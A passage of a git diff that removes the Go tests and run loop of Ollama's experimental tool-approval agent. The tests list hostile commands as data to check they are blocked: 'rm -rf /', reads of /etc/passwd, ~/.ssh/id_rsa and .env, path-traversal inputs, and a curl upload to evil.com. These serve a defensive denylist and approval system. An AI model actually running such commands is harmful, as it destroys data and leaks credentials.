file.txt", - expected: "cat:./", - }, - { - name: "unsafe command", - command: "rm -rf /", - expected: "", - }, - { - name: "no path arg", - command: "ls -la", - expected: "", - }, - { - name: "head with flags only", - command: "head -n 100", - expected: "", - }, - // Path traversal security tests - { - name: "path traversal - parent escape", - command: "cat tools/../../etc/passwd", - expected: "", // Should NOT create a prefix - path escapes - }, - { - name: "path traversal - deep escape", - command: "cat tools/a/b/../../../etc/passwd", - expected: "", // Normalizes to "../etc/passwd" - escapes - }, - { - name: "path traversal - absolute path", - command: "cat /etc/passwd", - expected: "", // Absolute paths should not create prefix - }, - { - name: "path with safe dotdot - normalized", - command: "cat tools/subdir/../file.go", - expected: "cat:tools/", // Normalizes to tools/file.go - safe, creates prefix - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := extractBashPrefix(tt.command) - if result != tt.expected { - t.Errorf("extractBashPrefix(%q) = %q, expected %q", - tt.command, result, tt.expected) - } - }) - } -} - -func TestApprovalManager_PathTraversalBlocked(t *testing.T) { - am := NewApprovalManager() - - // Allow "cat tools/file.go" - creates prefix "cat:tools/" - am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"}) - - // Path traversal attack: should NOT be allowed - if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../etc/passwd"}) { - t.Error("SECURITY: path traversal attack should NOT be allowed") - } - - // Another traversal variant - if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../../etc/shadow"}) { - t.Error("SECURITY: deep path traversal should NOT be allowed") - } - - // Valid subdirectory access should still work - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) { - t.Error("expected cat tools/subdir/file.go to be allowed") - } - - // Safe ".." that normalizes to within allowed directory should work - // tools/subdir/../other.go normalizes to tools/other.go which is under tools/ - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/../other.go"}) { - t.Error("expected cat tools/subdir/../other.go to be allowed (normalizes to tools/other.go)") - } -} - -func TestApprovalManager_PrefixAllowlist(t *testing.T) { - am := NewApprovalManager() - - // Allow "cat tools/file.go" - am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"}) - - // Should allow other files in same directory - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) { - t.Error("expected cat tools/other.go to be allowed via prefix") - } - - // Should not allow different directory - if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) { - t.Error("expected cat src/main.go to NOT be allowed") - } - - // Should not allow different command in same directory - if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) { - t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)") - } -} - -func TestApprovalManager_HierarchicalPrefixAllowlist(t *testing.T) { - am := NewApprovalManager() - - // Allow "cat tools/file.go" - this creates prefix "cat:tools/" - am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"}) - - // Should allow subdirectories (hierarchical matching) - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) { - t.Error("expected cat tools/subdir/file.go to be allowed via hierarchical prefix") - } - - // Should allow deeply nested subdirectories - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/a/b/c/deep.go"}) { - t.Error("expected cat tools/a/b/c/deep.go to be allowed via hierarchical prefix") - } - - // Should still allow same directory - if !am.IsAllowed("bash", map[string]any{"command": "cat tools/another.go"}) { - t.Error("expected cat tools/another.go to be allowed") - } - - // Should NOT allow different base directory - if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) { - t.Error("expected cat src/main.go to NOT be allowed") - } - - // Should NOT allow different command even in subdirectory - if am.IsAllowed("bash", map[string]any{"command": "ls tools/subdir/"}) { - t.Error("expected ls tools/subdir/ to NOT be allowed (different command)") - } - - // Should NOT allow similar but different directory name - if am.IsAllowed("bash", map[string]any{"command": "cat toolsbin/file.go"}) { - t.Error("expected cat toolsbin/file.go to NOT be allowed (different directory)") - } -} - -func TestApprovalManager_HierarchicalPrefixAllowlist_CrossPlatform(t *testing.T) { - am := NewApprovalManager() - - // Allow with forward slashes (Unix-style) - am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"}) - - // Should work with backslashes too (Windows-style) - normalized internally - if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\subdir\\file.go"}) { - t.Error("expected cat tools\\subdir\\file.go to be allowed via hierarchical prefix (Windows path)") - } - - // Mixed slashes should also work - if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\a/b\\c/deep.go"}) { - t.Error("expected mixed slash path to be allowed via hierarchical prefix") - } -} - -func TestMatchesHierarchicalPrefix(t *testing.T) { - am := NewApprovalManager() - - // Add prefix for "cat:tools/" - am.prefixes["cat:tools/"] = true - - tests := []struct { - name string - prefix string - expected bool - }{ - { - name: "exact match", - prefix: "cat:tools/", - expected: true, // exact match also passes HasPrefix - caller handles exact match first - }, - { - name: "subdirectory", - prefix: "cat:tools/subdir/", - expected: true, - }, - { - name: "deeply nested", - prefix: "cat:tools/a/b/c/", - expected: true, - }, - { - name: "different base directory", - prefix: "cat:src/", - expected: false, - }, - { - name: "different command same path", - prefix: "ls:tools/", - expected: false, - }, - { - name: "similar directory name", - prefix: "cat:toolsbin/", - expected: false, - }, - { - name: "invalid prefix format", - prefix: "cattools", - expected: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := am.matchesHierarchicalPrefix(tt.prefix) - if result != tt.expected { - t.Errorf("matchesHierarchicalPrefix(%q) = %v, expected %v", - tt.prefix, result, tt.expected) - } - }) - } -} - -func TestFormatApprovalResult(t *testing.T) { - tests := []struct { - name string - toolName string - args map[string]any - result ApprovalResult - contains string - }{ - { - name: "approved bash", - toolName: "bash", - args: map[string]any{"command": "ls"}, - result: ApprovalResult{Decision: ApprovalOnce}, - contains: "bash: ls", - }, - { - name: "denied web_search", - toolName: "web_search", - args: map[string]any{"query": "test"}, - result: ApprovalResult{Decision: ApprovalDeny}, - contains: "Denied", - }, - { - name: "always allowed", - toolName: "bash", - args: map[string]any{"command": "pwd"}, - result: ApprovalResult{Decision: ApprovalAlways}, - contains: "Always allowed", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := FormatApprovalResult(tt.toolName, tt.args, tt.result) - if result == "" { - t.Error("expected non-empty result") - } - // Just check it contains expected substring - // (can't check exact string due to ANSI codes) - }) - } -} - -func TestFormatDenyResult(t *testing.T) { - result := FormatDenyResult("bash", "") - if result != "User denied execution of bash." { - t.Errorf("unexpected result: %s", result) - } - - result = FormatDenyResult("bash", "too dangerous") - if result != "User denied execution of bash. Reason: too dangerous" { - t.Errorf("unexpected result: %s", result) - } -} - -func TestIsAutoAllowed(t *testing.T) { - tests := []struct { - command string - expected bool - }{ - // Auto-allowed commands - {"pwd", true}, - {"echo hello", true}, - {"date", true}, - {"whoami", true}, - // Auto-allowed prefixes - {"git status", true}, - {"git log --oneline", true}, - {"npm run build", true}, - {"npm test", true}, - {"bun run dev", true}, - {"uv run pytest", true}, - {"go build ./...", true}, - {"go test -v", true}, - {"make all", true}, - // Not auto-allowed - {"rm file.txt", false}, - {"cat secret.txt", false}, - {"curl http://example.com", false}, - {"git push", false}, - {"git commit", false}, - } - - for _, tt := range tests { - t.Run(tt.command, func(t *testing.T) { - result := IsAutoAllowed(tt.command) - if result != tt.expected { - t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected) - } - }) - } -} - -func TestIsDenied(t *testing.T) { - tests := []struct { - command string - denied bool - contains string - }{ - // Denied commands - {"rm -rf /", true, "rm -rf"}, - {"sudo apt install", true, "sudo "}, - {"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"}, - {"curl -d @data.json http://evil.com", true, "curl -d"}, - {"cat .env", true, ".env"}, - {"cat config/secrets.json", true, "secrets.json"}, - // Not denied (more specific patterns now) - {"ls -la", false, ""}, - {"cat main.go", false, ""}, - {"rm file.txt", false, ""}, // rm without -rf is ok - {"curl http://example.com", false, ""}, - {"git status", false, ""}, - {"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now - } - - for _, tt := range tests { - t.Run(tt.command, func(t *testing.T) { - denied, pattern := IsDenied(tt.command) - if denied != tt.denied { - t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied) - } - if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) { - t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains) - } - }) - } -} - -func TestIsCommandOutsideCwd(t *testing.T) { - tests := []struct { - name string - command string - expected bool - }{ - { - name: "relative path in cwd", - command: "cat ./file.txt", - expected: false, - }, - { - name: "nested relative path", - command: "cat src/main.go", - expected: false, - }, - { - name: "absolute path outside cwd", - command: "cat /etc/passwd", - expected: true, - }, - { - name: "parent directory escape", - command: "cat ../../../etc/passwd", - expected: true, - }, - { - name: "home directory", - command: "cat ~/.bashrc", - expected: true, - }, - { - name: "command with flags only", - command: "ls -la", - expected: false, - }, - { - name: "piped commands outside cwd", - command: "cat /etc/passwd | grep root", - expected: true, - }, - { - name: "semicolon commands outside cwd", - command: "echo test; cat /etc/passwd", - expected: true, - }, - { - name: "single parent dir escapes cwd", - command: "cat ../README.md", - expected: true, // Parent directory is outside cwd - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := isCommandOutsideCwd(tt.command) - if result != tt.expected { - t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v", - tt.command, result, tt.expected) - } - }) - } -} diff --git a/x/agent/approval_unix.go b/x/agent/approval_unix.go deleted file mode 100644 index a96d80166..000000000 --- a/x/agent/approval_unix.go +++ /dev/null @@ -1,27 +0,0 @@ -//go:build !windows - -package agent - -import ( - "syscall" - "time" -) - -// flushStdin drains any buffered input from stdin. -// This prevents leftover input from previous operations from affecting the selector. -func flushStdin(fd int) { - if err := syscall.SetNonblock(fd, true); err != nil { - return - } - defer syscall.SetNonblock(fd, false) - - time.Sleep(5 * time.Millisecond) - - buf := make([]byte, 256) - for { - n, err := syscall.Read(fd, buf) - if n <= 0 || err != nil { - break - } - } -} diff --git a/x/agent/approval_windows.go b/x/agent/approval_windows.go deleted file mode 100644 index 4bf0b9aa6..000000000 --- a/x/agent/approval_windows.go +++ /dev/null @@ -1,15 +0,0 @@ -//go:build windows - -package agent - -import ( - "os" - - "golang.org/x/sys/windows" -) - -// flushStdin clears any buffered console input on Windows. -func flushStdin(_ int) { - handle := windows.Handle(os.Stdin.Fd()) - _ = windows.FlushConsoleInputBuffer(handle) -} diff --git a/x/cmd/run.go b/x/cmd/run.go deleted file mode 100644 index e96c8385e..000000000 --- a/x/cmd/run.go +++ /dev/null @@ -1,1112 +0,0 @@ -package cmd - -import ( - "context" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "net/url" - "os" - "os/signal" - "slices" - "strings" - "syscall" - "time" - - "github.com/spf13/cobra" - "golang.org/x/term" - - "github.com/ollama/ollama/api" - internalcloud "github.com/ollama/ollama/internal/cloud" - "github.com/ollama/ollama/internal/modelref" - "github.com/ollama/ollama/progress" - "github.com/ollama/ollama/readline" - "github.com/ollama/ollama/types/model" - "github.com/ollama/ollama/x/agent" - "github.com/ollama/ollama/x/tools" -) - -// Tool output capping constants -const ( - // localModelTokenLimit is the token limit for local models (smaller context). - localModelTokenLimit = 4000 - - // defaultTokenLimit is the token limit for cloud/remote models. - defaultTokenLimit = 10000 - - // charsPerToken is a rough estimate of characters per token. - // TODO: Estimate tokens more accurately using tokenizer if available - charsPerToken = 4 -) - -// isLocalModel checks if the model is running locally (not a cloud model). -// TODO: Improve local/cloud model identification - could check model metadata -func isLocalModel(modelName string) bool { - return !modelref.HasExplicitCloudSource(modelName) -} - -// isLocalServer checks if connecting to a local Ollama server. -// TODO: Could also check other indicators of local vs cloud server -func isLocalServer() bool { - host := os.Getenv("OLLAMA_HOST") - if host == "" { - return true // Default is localhost:11434 - } - - // Parse the URL to check host - parsed, err := url.Parse(host) - if err != nil { - return true // If can't parse, assume local - } - - hostname := parsed.Hostname() - return hostname == "localhost" || hostname == "127.0.0.1" || strings.Contains(parsed.Host, ":11434") -} - -func cloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) { - status, err := client.CloudStatusExperimental(ctx) - if err != nil { - var statusErr api.StatusError - if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound { - return false, false - } - return false, false - } - return status.Cloud.Disabled, true -} - -// truncateToolOutput truncates tool output to prevent context overflow. -// Uses a smaller limit (4k tokens) for local models, larger (10k) for cloud/remote. -func truncateToolOutput(output, modelName string) string { - var tokenLimit int - if isLocalModel(modelName) && isLocalServer() { - tokenLimit = localModelTokenLimit - } else { - tokenLimit = defaultTokenLimit - } - - maxChars := tokenLimit * charsPerToken - if len(output) > maxChars { - return output[:maxChars] + "\n... (output truncated)" - } - return output -} - -// waitForOllamaSignin shows the signin URL and polls until authentication completes. -func waitForOllamaSignin(ctx context.Context) error { - client, err := api.ClientFromEnvironment() - if err != nil { - return err - } - - if disabled, known := cloudStatusDisabled(ctx, client); known && disabled { - return errors.New(internalcloud.DisabledError("cloud account endpoints are unavailable")) - } - - // Get signin URL from initial Whoami call - _, err = client.Whoami(ctx) - if err != nil { - var aErr api.AuthorizationError - if errors.As(err, &aErr) && aErr.SigninURL != "" { - fmt.Fprintf(os.Stderr, "\n To sign in, navigate to:\n") - fmt.Fprintf(os.Stderr, " %s\n\n", aErr.SigninURL) - fmt.Fprintf(os.Stderr, " \033[90mwaiting for sign in to complete...\033[0m") - - // Poll until auth succeeds - ticker := time.NewTicker(2 * time.Second) - defer ticker.Stop() - - for { - select { - case <-ctx.Done(): - fmt.Fprintf(os.Stderr, "\n") - return ctx.Err() - case <-ticker.C: - user, whoamiErr := client.Whoami(ctx) - if whoamiErr == nil && user != nil && user.Name != "" { - fmt.Fprintf(os.Stderr, "\r\033[K\033[A\r\033[K \033[1msigned in:\033[0m %s\n", user.Name) - return nil - } - // Still waiting, show dot - fmt.Fprintf(os.Stderr, ".") - } - } - } - return err - } - return nil -} - -// RunOptions contains options for running an interactive agent session. -type RunOptions struct { - Model string - Messages []api.Message - WordWrap bool - Format string - System string - Options map[string]any - KeepAlive *api.Duration - Think *api.ThinkValue - HideThinking bool - Verbose bool - - // Agent fields (managed externally for session persistence) - Tools *tools.Registry - Approval *agent.ApprovalManager - - // YoloMode skips all tool approval prompts - YoloMode bool -} - -// Chat runs an agent chat loop with tool support. -// This is the experimental version of chat that supports tool calling. -func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) { - client, err := api.ClientFromEnvironment() - if err != nil { - return nil, err - } - - // Use tools registry and approval from opts (managed by caller for session persistence) - toolRegistry := opts.Tools - approval := opts.Approval - if approval == nil { - approval = agent.NewApprovalManager() - } - - p := progress.NewProgress(os.Stderr) - defer p.StopAndClear() - - spinner := progress.NewSpinner("") - p.Add("", spinner) - - cancelCtx, cancel := context.WithCancel(ctx) - defer cancel() - - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, syscall.SIGINT) - - go func() { - <-sigChan - cancel() - }() - - var state *displayResponseState = &displayResponseState{} - var thinkingContent strings.Builder - var fullResponse strings.Builder - var thinkTagOpened bool = false - var thinkTagClosed bool = false - var pendingToolCalls []api.ToolCall - var consecutiveErrors int // Track consecutive 500 errors for retry limit - var latest api.ChatResponse - - role := "assistant" - messages := opts.Messages - - fn := func(response api.ChatResponse) error { - if response.Message.Content != "" || !opts.HideThinking { - p.StopAndClear() - } - - latest = response - role = response.Message.Role - if response.Message.Thinking != "" && !opts.HideThinking { - if !thinkTagOpened { - fmt.Print(thinkingOutputOpeningText(false)) - thinkTagOpened = true - thinkTagClosed = false - } - thinkingContent.WriteString(response.Message.Thinking) - displayResponse(response.Message.Thinking, opts.WordWrap, state) - } - - content := response.Message.Content - if thinkTagOpened && !thinkTagClosed && (content != "" || len(response.Message.ToolCalls) > 0) { - if !strings.HasSuffix(thinkingContent.String(), "\n") { - fmt.Println() - } - fmt.Print(thinkingOutputClosingText(false)) - thinkTagOpened = false - thinkTagClosed = true - state = &displayResponseState{} - } - - fullResponse.WriteString(content) - - if response.Message.ToolCalls != nil { - toolCalls := response.Message.ToolCalls - if len(toolCalls) > 0 { - if toolRegistry != nil { - // Store tool calls for execution after response is complete - pendingToolCalls = append(pendingToolCalls, toolCalls...) - } else { - // No tools registry, just display tool calls - fmt.Print(renderToolCalls(toolCalls, false)) - } - } - } - - displayResponse(content, opts.WordWrap, state) - - return nil - } - - if opts.Format == "json" { - opts.Format = `"` + opts.Format + `"` - } - - // Agentic loop: continue until no more tool calls - for { - req := &api.ChatRequest{ - Model: opts.Model, - Messages: messages, - Format: json.RawMessage(opts.Format), - Options: opts.Options, - Think: opts.Think, - } - - // Add tools - if toolRegistry != nil { - apiTools := toolRegistry.Tools() - if len(apiTools) > 0 { - req.Tools = apiTools - } - } - - if opts.KeepAlive != nil { - req.KeepAlive = opts.KeepAlive - } - - if err := client.Chat(cancelCtx, req, fn); err != nil { - if errors.Is(err, context.Canceled) { - return nil, nil - } - - // Check for 401 Unauthorized - prompt user to sign in - var authErr api.AuthorizationError - if errors.As(err, &authErr) { - p.StopAndClear() - fmt.Fprintf(os.Stderr, "\033[1mauth required:\033[0m cloud model requires authentication\n") - result, promptErr := agent.PromptYesNo("Sign in to Ollama?") - if promptErr == nil && result { - if signinErr := waitForOllamaSignin(ctx); signinErr == nil { - // Retry the chat request - fmt.Fprintf(os.Stderr, "\033[90mretrying...\033[0m\n") - continue // Retry the loop - } - } - return nil, fmt.Errorf("authentication required - run 'ollama signin' to authenticate") - } - - // Check for 500 errors (often tool parsing failures) - inform the model - var statusErr api.StatusError - if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 { - consecutiveErrors++ - p.StopAndClear() - - if consecutiveErrors >= 3 { - fmt.Fprintf(os.Stderr, "\033[1merror:\033[0m too many consecutive errors, giving up\n") - return nil, fmt.Errorf("too many consecutive server errors: %s", statusErr.ErrorMessage) - } - - fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m server error (attempt %d/3): %s\n", consecutiveErrors, statusErr.ErrorMessage) - - // Include both the model's response and the error so it can learn - assistantContent := fullResponse.String() - if assistantContent == "" { - assistantContent = "(empty response)" - } - errorMsg := fmt.Sprintf("Your previous response caused an error: %s\n\nYour response was:\n%s\n\nPlease try again with a valid response.", statusErr.ErrorMessage, assistantContent) - messages = append(messages, - api.Message{Role: "user", Content: errorMsg}, - ) - - // Reset state and retry - fullResponse.Reset() - thinkingContent.Reset() - thinkTagOpened = false - thinkTagClosed = false - pendingToolCalls = nil - state = &displayResponseState{} - p = progress.NewProgress(os.Stderr) - spinner = progress.NewSpinner("") - p.Add("", spinner) - continue - } - - if strings.Contains(err.Error(), "upstream error") { - p.StopAndClear() - fmt.Println("An error occurred while processing your message. Please try again.") - fmt.Println() - return nil, nil - } - return nil, err - } - - // Reset consecutive error counter on success - consecutiveErrors = 0 - - // If no tool calls, we're done - if len(pendingToolCalls) == 0 || toolRegistry == nil { - break - } - - // Execute tool calls and continue the conversation - fmt.Fprintf(os.Stderr, "\n") - - // Add assistant's tool call message to history - assistantMsg := api.Message{ - Role: "assistant", - Content: fullResponse.String(), - Thinking: thinkingContent.String(), - ToolCalls: pendingToolCalls, - } - messages = append(messages, assistantMsg) - - // Execute each tool call and collect results - var toolResults []api.Message - for _, call := range pendingToolCalls { - toolName := call.Function.Name - args := call.Function.Arguments.ToMap() - - // For bash commands, check denylist first - skipApproval := false - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - // Check if command is denied (dangerous pattern) - if denied, pattern := agent.IsDenied(cmd); denied { - fmt.Fprintf(os.Stderr, "\033[1mblocked:\033[0m %s\n", formatToolShort(toolName, args)) - fmt.Fprintf(os.Stderr, " matches dangerous pattern: %s\n", pattern) - toolResults = append(toolResults, api.Message{ - Role: "tool", - Content: agent.FormatDeniedResult(cmd, pattern), - ToolCallID: call.ID, - }) - continue - } - - // Check if command is auto-allowed (safe command) - // TODO(parthsareen): re-enable with tighter scoped allowlist - // if agent.IsAutoAllowed(cmd) { - // fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args)) - // skipApproval = true - // } - } - } - - // Check approval (uses prefix matching for bash commands) - // In yolo mode, skip all approval prompts - if opts.YoloMode { - if !skipApproval { - fmt.Fprintf(os.Stderr, "\033[1mrunning:\033[0m %s\n", formatToolShort(toolName, args)) - } - } else if !skipApproval && !approval.IsAllowed(toolName, args) { - result, err := approval.RequestApproval(toolName, args) - if err != nil { - fmt.Fprintf(os.Stderr, "Error requesting approval: %v\n", err) - toolResults = append(toolResults, api.Message{ - Role: "tool", - Content: fmt.Sprintf("Error: %v", err), - ToolCallID: call.ID, - }) - continue - } - - // Show collapsed result - fmt.Fprintln(os.Stderr, agent.FormatApprovalResult(toolName, args, result)) - - switch result.Decision { - case agent.ApprovalDeny: - toolResults = append(toolResults, api.Message{ - Role: "tool", - Content: agent.FormatDenyResult(toolName, result.DenyReason), - ToolCallID: call.ID, - }) - continue - case agent.ApprovalAlways: - approval.AddToAllowlist(toolName, args) - } - } else if !skipApproval { - // Already allowed - show running indicator - fmt.Fprintf(os.Stderr, "\033[1mrunning:\033[0m %s\n", formatToolShort(toolName, args)) - } - - // Execute the tool - toolResult, err := toolRegistry.Execute(call) - if err != nil { - // Check if web search needs authentication - if errors.Is(err, tools.ErrWebSearchAuthRequired) { - // Prompt user to sign in - fmt.Fprintf(os.Stderr, "\033[1mauth required:\033[0m web search requires authentication\n") - result, promptErr := agent.PromptYesNo("Sign in to Ollama?") - if promptErr == nil && result { - // Get signin URL and wait for auth completion - if signinErr := waitForOllamaSignin(ctx); signinErr == nil { - // Retry the web search - fmt.Fprintf(os.Stderr, "\033[90mretrying web search...\033[0m\n") - toolResult, err = toolRegistry.Execute(call) - if err == nil { - goto toolSuccess - } - } - } - } - fmt.Fprintf(os.Stderr, "\033[1merror:\033[0m %v\n", err) - toolResults = append(toolResults, api.Message{ - Role: "tool", - Content: fmt.Sprintf("Error: %v", err), - ToolCallID: call.ID, - }) - continue - } - toolSuccess: - - // Display tool output (truncated for display) - if toolResult != "" { - output := toolResult - if len(output) > 300 { - output = output[:300] + "... (truncated)" - } - // Show result in grey, indented - fmt.Fprintf(os.Stderr, "\033[90m %s\033[0m\n", strings.ReplaceAll(output, "\n", "\n ")) - } - - // Truncate output to prevent context overflow - toolResultForLLM := truncateToolOutput(toolResult, opts.Model) - - toolResults = append(toolResults, api.Message{ - Role: "tool", - Content: toolResultForLLM, - ToolCallID: call.ID, - }) - } - - // Add tool results to message history - messages = append(messages, toolResults...) - - fmt.Fprintf(os.Stderr, "\n") - - // Reset state for next iteration - fullResponse.Reset() - thinkingContent.Reset() - thinkTagOpened = false - thinkTagClosed = false - pendingToolCalls = nil - state = &displayResponseState{} - - // Start new progress spinner for next API call - p = progress.NewProgress(os.Stderr) - spinner = progress.NewSpinner("") - p.Add("", spinner) - } - - if len(opts.Messages) > 0 { - fmt.Println() - fmt.Println() - } - - if opts.Verbose { - latest.Summary() - } - - return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil -} - -// truncateUTF8 safely truncates a string to at most limit runes, adding "..." if truncated. -func truncateUTF8(s string, limit int) string { - runes := []rune(s) - if len(runes) <= limit { - return s - } - if limit <= 3 { - return string(runes[:limit]) - } - return string(runes[:limit-3]) + "..." -} - -// formatToolShort returns a short description of a tool call. -func formatToolShort(toolName string, args map[string]any) string { - displayName := agent.ToolDisplayName(toolName) - if toolName == "bash" { - if cmd, ok := args["command"].(string); ok { - return fmt.Sprintf("%s: %s", displayName, truncateUTF8(cmd, 50)) - } - } - if toolName == "web_search" { - if query, ok := args["query"].(string); ok { - return fmt.Sprintf("%s: %s", displayName, truncateUTF8(query, 50)) - } - } - return displayName -} - -// Helper types and functions for display - -type displayResponseState struct { - lineLength int - wordBuffer string -} - -func displayResponse(content string, wordWrap bool, state *displayResponseState) { - termWidth, _, _ := term.GetSize(int(os.Stdout.Fd())) - if wordWrap && termWidth >= 10 { - for _, ch := range content { - if state.lineLength+1 > termWidth-5 { - if len(state.wordBuffer) > termWidth-10 { - fmt.Printf("%s%c", state.wordBuffer, ch) - state.wordBuffer = "" - state.lineLength = 0 - continue - } - - // backtrack the length of the last word and clear to the end of the line - a := len(state.wordBuffer) - if a > 0 { - fmt.Printf("\x1b[%dD", a) - } - fmt.Printf("\x1b[K\n") - fmt.Printf("%s%c", state.wordBuffer, ch) - - state.lineLength = len(state.wordBuffer) + 1 - } else { - fmt.Print(string(ch)) - state.lineLength++ - - switch ch { - case ' ', '\t': - state.wordBuffer = "" - case '\n', '\r': - state.lineLength = 0 - state.wordBuffer = "" - default: - state.wordBuffer += string(ch) - } - } - } - } else { - fmt.Printf("%s%s", state.wordBuffer, content) - if len(state.wordBuffer) > 0 { - state.wordBuffer = "" - } - } -} - -func thinkingOutputOpeningText(plainText bool) string { - text := "Thinking...\n" - - if plainText { - return text - } - - return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault + readline.ColorGrey -} - -func thinkingOutputClosingText(plainText bool) string { - text := "...done thinking.\n\n" - - if plainText { - return text - } - - return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault -} - -func renderToolCalls(toolCalls []api.ToolCall, plainText bool) string { - out := "" - formatExplanation := "" - formatValues := "" - if !plainText { - formatExplanation = readline.ColorGrey + readline.ColorBold - formatValues = readline.ColorDefault - out += formatExplanation - } - for i, toolCall := range toolCalls { - argsAsJSON, err := json.Marshal(toolCall.Function.Arguments) - if err != nil { - return "" - } - if i > 0 { - out += "\n" - } - out += fmt.Sprintf(" Tool call: %s(%s)", formatValues+toolCall.Function.Name+formatExplanation, formatValues+string(argsAsJSON)+formatExplanation) - } - if !plainText { - out += readline.ColorDefault - } - return out -} - -// checkModelCapabilities checks if the model supports tools. -func checkModelCapabilities(ctx context.Context, modelName string) (supportsTools bool, err error) { - client, err := api.ClientFromEnvironment() - if err != nil { - return false, err - } - - resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName}) - if err != nil { - return false, err - } - - for _, cap := range resp.Capabilities { - if cap == model.CapabilityTools { - return true, nil - } - } - - return false, nil -} - -// GenerateInteractive runs an interactive agent session. -// This is called from cmd.go when --experimental flag is set. -// If yoloMode is true, all tool approvals are skipped. -// If enableWebsearch is true, the web search tool is registered. -func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration, yoloMode bool, enableWebsearch bool) error { - scanner, err := readline.New(readline.Prompt{ - Prompt: ">>> ", - AltPrompt: "... ", - Placeholder: "Send a message (/? for help)", - AltPlaceholder: "Press Enter to send", - }) - if err != nil { - return err - } - - fmt.Print(readline.StartBracketedPaste) - defer fmt.Printf(readline.EndBracketedPaste) - - // Check if model supports tools - supportsTools, err := checkModelCapabilities(cmd.Context(), modelName) - if err != nil { - fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err) - supportsTools = false - } - - if enableWebsearch { - if client, err := api.ClientFromEnvironment(); err == nil { - if disabled, known := cloudStatusDisabled(cmd.Context(), client); known && disabled { - fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable")) - enableWebsearch = false - } - } - } - - // Create tool registry only if model supports tools - var toolRegistry *tools.Registry - if supportsTools { - toolRegistry = tools.DefaultRegistry() - - // Register web search and web fetch tools if enabled via flag - if enableWebsearch { - toolRegistry.RegisterWebSearch() - toolRegistry.RegisterWebFetch() - } - - if toolRegistry.Has("bash") { - fmt.Fprintln(os.Stderr) - fmt.Fprintln(os.Stderr, "This experimental version of Ollama has the \033[1mbash\033[0m tool enabled.") - fmt.Fprintln(os.Stderr, "Models can read files on your computer, or run commands (after you allow them).") - fmt.Fprintln(os.Stderr) - } - - if toolRegistry.Has("web_search") || toolRegistry.Has("web_fetch") { - fmt.Fprintln(os.Stderr, "The \033[1mWeb Search\033[0m and \033[1mWeb Fetch\033[0m tools are enabled. Models can search and fetch web content via ollama.com.") - fmt.Fprintln(os.Stderr) - } - - if yoloMode { - fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m yolo mode - all tool approvals will be skipped\n") - } - } - - // Create approval manager for session - approval := agent.NewApprovalManager() - - var messages []api.Message - var sb strings.Builder - var format string - var system string - - for { - line, err := scanner.Readline() - switch { - case errors.Is(err, io.EOF): - fmt.Println() - return nil - case errors.Is(err, readline.ErrInterrupt): - if line == "" { - fmt.Println("\nUse Ctrl + d or /bye to exit.") - } - scanner.Prompt.UseAlt = false - sb.Reset() - continue - case err != nil: - return err - } - - switch { - case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"): - return nil - case strings.HasPrefix(line, "/clear"): - messages = []api.Message{} - approval.Reset() - fmt.Println("Cleared session context and tool approvals") - continue - case strings.HasPrefix(line, "/tools"): - showToolsStatus(toolRegistry, approval, supportsTools) - continue - case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"): - fmt.Fprintln(os.Stderr, "Available Commands:") - fmt.Fprintln(os.Stderr, " /set Set session variables") - fmt.Fprintln(os.Stderr, " /show Show model information") - fmt.Fprintln(os.Stderr, " /load Load a different model") - fmt.Fprintln(os.Stderr, " /save Save session as a model") - fmt.Fprintln(os.Stderr, " /tools Show available tools and approvals") - fmt.Fprintln(os.Stderr, " /clear Clear session context and approvals") - fmt.Fprintln(os.Stderr, " /bye Exit") - fmt.Fprintln(os.Stderr, " /?, /help Help for a command") - fmt.Fprintln(os.Stderr, "") - fmt.Fprintln(os.Stderr, "Keyboard 